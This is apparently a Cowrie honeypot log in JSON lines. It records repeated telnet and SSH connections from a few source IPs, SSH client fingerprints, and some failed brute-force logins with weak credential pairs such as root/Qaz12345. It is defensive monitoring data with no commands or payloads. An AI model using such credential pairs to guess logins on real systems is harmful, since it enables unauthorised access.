{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44522,"dst_ip":"10.17.0.5","dst_port":23,"session":"3320169aa414","protocol":"telnet","message":"New connection: 64.237.60.107:44522 (10.17.0.5:23) [session: 3320169aa414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:12.047794Z"}
{"eventid":"cowrie.session.closed","duration":30.90112829208374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:12.135899Z","src_ip":"64.237.60.107","session":"ca11db9f5636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414479970932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:12.202932Z","src_ip":"64.237.60.107","session":"f3f87bb9235a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913243055343628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:12.414789Z","src_ip":"64.237.60.107","session":"559c9b527463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":51886,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af3ea7e8c5b","protocol":"telnet","message":"New connection: 149.255.39.70:51886 (10.17.0.5:23) [session: 2af3ea7e8c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:12.774542Z"}
{"eventid":"cowrie.session.closed","duration":30.82313847541809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:13.014443Z","src_ip":"64.237.60.107","session":"e967c6119d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":54494,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d0f339105df","protocol":"ssh","message":"New connection: 45.232.73.84:54494 (159.203.135.109:22) [session: 2d0f339105df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.126858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.132235Z","src_ip":"45.232.73.84","session":"2d0f339105df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.726988077163696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.243046Z","src_ip":"64.237.60.107","session":"99755c34ab61","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.260653Z","src_ip":"45.232.73.84","session":"2d0f339105df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9a6ffb84e51","protocol":"telnet","message":"New connection: 45.77.199.58:56572 (10.17.0.5:23) [session: e9a6ffb84e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.305140Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eecfb73f820","protocol":"telnet","message":"New connection: 64.237.60.107:44538 (10.17.0.5:23) [session: 8eecfb73f820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.395084Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21c6addaf76","protocol":"telnet","message":"New connection: 64.237.60.107:44546 (10.17.0.5:23) [session: b21c6addaf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.554595Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz12345","message":"login attempt [root/Qaz12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:14.811523Z","src_ip":"45.232.73.84","session":"2d0f339105df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"214b17ce0c5d","protocol":"telnet","message":"New connection: 64.237.60.107:44548 (10.17.0.5:23) [session: 214b17ce0c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:15.110784Z"}
{"eventid":"cowrie.session.closed","duration":30.71293330192566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:15.116402Z","src_ip":"64.237.60.107","session":"e407f56a750b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70583724975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:15.204018Z","src_ip":"64.237.60.107","session":"cf208d8cfacc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729857683181763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:15.348743Z","src_ip":"64.237.60.107","session":"c5971d29bf4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:15.949399Z","src_ip":"45.232.73.84","session":"2d0f339105df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49311089515686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:16.056978Z","src_ip":"64.237.60.107","session":"21c6a05efe77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40675139427185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:16.418447Z","src_ip":"64.237.60.107","session":"8e5745080740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965527534484863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:17.060822Z","src_ip":"45.77.199.58","session":"e08c8e0b378f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.335801601409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:17.356782Z","src_ip":"64.237.60.107","session":"477aeaf4662a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64376735687256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:18.106825Z","src_ip":"64.237.60.107","session":"dac0b2247157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503283262252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:18.163684Z","src_ip":"64.237.60.107","session":"795c65ea0df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.318962335586548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:18.528106Z","src_ip":"64.237.60.107","session":"31a1f25f1613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b88b482f0c8","protocol":"telnet","message":"New connection: 45.77.199.58:56576 (10.17.0.5:23) [session: 4b88b482f0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:18.637921Z"}
{"eventid":"cowrie.session.closed","duration":30.32578206062317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:19.061979Z","src_ip":"64.237.60.107","session":"6ad131786f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76654028892517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:19.323027Z","src_ip":"64.237.60.107","session":"8998f2718b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803203344345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:20.128116Z","src_ip":"64.237.60.107","session":"d95c5423c2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00412154197693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:20.230609Z","src_ip":"64.237.60.107","session":"46dac9b89aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857568979263306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:20.441855Z","src_ip":"64.237.60.107","session":"3e8b82b6bbe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14401149749756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:20.446785Z","src_ip":"64.237.60.107","session":"f36981133fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":56588,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbaf4c0033b0","protocol":"telnet","message":"New connection: 45.77.199.58:56588 (10.17.0.5:23) [session: dbaf4c0033b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:21.124249Z"}
{"eventid":"cowrie.session.closed","duration":30.5138099193573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:21.141280Z","src_ip":"64.237.60.107","session":"b0672738fc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023079872131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:21.194111Z","src_ip":"64.237.60.107","session":"52af2cba1b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990344047546387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:21.367008Z","src_ip":"64.237.60.107","session":"1c01b2b4bd3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":45466,"dst_ip":"10.17.0.5","dst_port":23,"session":"7434ad2abbf1","protocol":"telnet","message":"New connection: 149.255.39.70:45466 (10.17.0.5:23) [session: 7434ad2abbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:22.579093Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":45478,"dst_ip":"10.17.0.5","dst_port":23,"session":"f034a8da4043","protocol":"telnet","message":"New connection: 149.255.39.70:45478 (10.17.0.5:23) [session: f034a8da4043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.073035Z"}
{"eventid":"cowrie.session.closed","duration":30.824310302734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.129776Z","src_ip":"64.237.60.107","session":"591b50c9e153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487318515777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.272236Z","src_ip":"64.237.60.107","session":"8663d8a18c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7ebb86b930","protocol":"ssh","message":"New connection: 159.203.92.129:50094 (159.203.135.109:22) [session: 0a7ebb86b930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.622617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.627408Z","src_ip":"159.203.92.129","session":"0a7ebb86b930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.632498Z","src_ip":"159.203.92.129","session":"0a7ebb86b930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"password","message":"login attempt [adminroot/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.652219Z","src_ip":"159.203.92.129","session":"0a7ebb86b930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.598412036895752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:23.723726Z","src_ip":"64.237.60.107","session":"433511a86796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7486834526062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.035413Z","src_ip":"64.237.60.107","session":"dcffeae150b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84796118736267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.116635Z","src_ip":"64.237.60.107","session":"0d07b892d100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090883255004883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.244034Z","src_ip":"64.237.60.107","session":"72aadf463820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866510152816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.291090Z","src_ip":"64.237.60.107","session":"ac4a40bc5354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522481679916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.323078Z","src_ip":"64.237.60.107","session":"a2c180cd3d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252569913864136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.444092Z","src_ip":"64.237.60.107","session":"e51109608ad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:24.657823Z","src_ip":"159.203.92.129","session":"0a7ebb86b930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":45488,"dst_ip":"10.17.0.5","dst_port":23,"session":"38954efe74fb","protocol":"telnet","message":"New connection: 149.255.39.70:45488 (10.17.0.5:23) [session: 38954efe74fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:25.001565Z"}
{"eventid":"cowrie.session.closed","duration":30.813246488571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:25.007615Z","src_ip":"64.237.60.107","session":"9dbac969ffc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012722492218018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:25.049511Z","src_ip":"45.77.199.58","session":"91950e3be6a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39810,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28f3aa15d05","protocol":"telnet","message":"New connection: 149.255.39.70:39810 (10.17.0.5:23) [session: a28f3aa15d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:25.531756Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":36240,"dst_ip":"10.17.0.5","dst_port":23,"session":"39fa74fbca0a","protocol":"telnet","message":"New connection: 64.237.60.107:36240 (10.17.0.5:23) [session: 39fa74fbca0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:25.853048Z"}
{"eventid":"cowrie.session.closed","duration":30.950194358825684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:26.127743Z","src_ip":"64.237.60.107","session":"2b7340577d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818634033203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:26.307862Z","src_ip":"64.237.60.107","session":"9f6aa6ee3fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008500337600708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:26.658275Z","src_ip":"64.237.60.107","session":"af5fc8d63587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729681968688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:26.672790Z","src_ip":"45.77.199.58","session":"03800e57043a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.168.20","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5f58708c55","protocol":"telnet","message":"New connection: 205.254.168.20:53942 (159.203.135.109:23) [session: ce5f58708c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:26.743013Z"}
{"eventid":"cowrie.session.closed","duration":30.993205070495605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:27.031150Z","src_ip":"64.237.60.107","session":"d87e4651decf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06799626350403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:27.072699Z","src_ip":"45.77.199.58","session":"b6e1ce54d16c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952833890914917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:27.236107Z","src_ip":"64.237.60.107","session":"ffca11308017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248820543289185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:27.694645Z","src_ip":"64.237.60.107","session":"e5b5a06c776a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.421681880950928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:27.968470Z","src_ip":"64.237.60.107","session":"e528a8ca2859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65761661529541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.094846Z","src_ip":"64.237.60.107","session":"8c9e169be1bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995532274246216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.118464Z","src_ip":"64.237.60.107","session":"f4f78dbc4596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39822,"dst_ip":"10.17.0.5","dst_port":23,"session":"633419d684a9","protocol":"telnet","message":"New connection: 149.255.39.70:39822 (10.17.0.5:23) [session: 633419d684a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.129213Z"}
{"eventid":"cowrie.session.closed","duration":30.55859923362732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.244507Z","src_ip":"64.237.60.107","session":"2801e9c40569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"87669d64664c","protocol":"telnet","message":"New connection: 149.255.39.70:39828 (10.17.0.5:23) [session: 87669d64664c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.270992Z"}
{"eventid":"cowrie.session.closed","duration":31.01373529434204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.466764Z","src_ip":"64.237.60.107","session":"ec1c8a0c7184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97945237159729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.473958Z","src_ip":"64.237.60.107","session":"f8fe47690fb6","protocol":"telnet"}
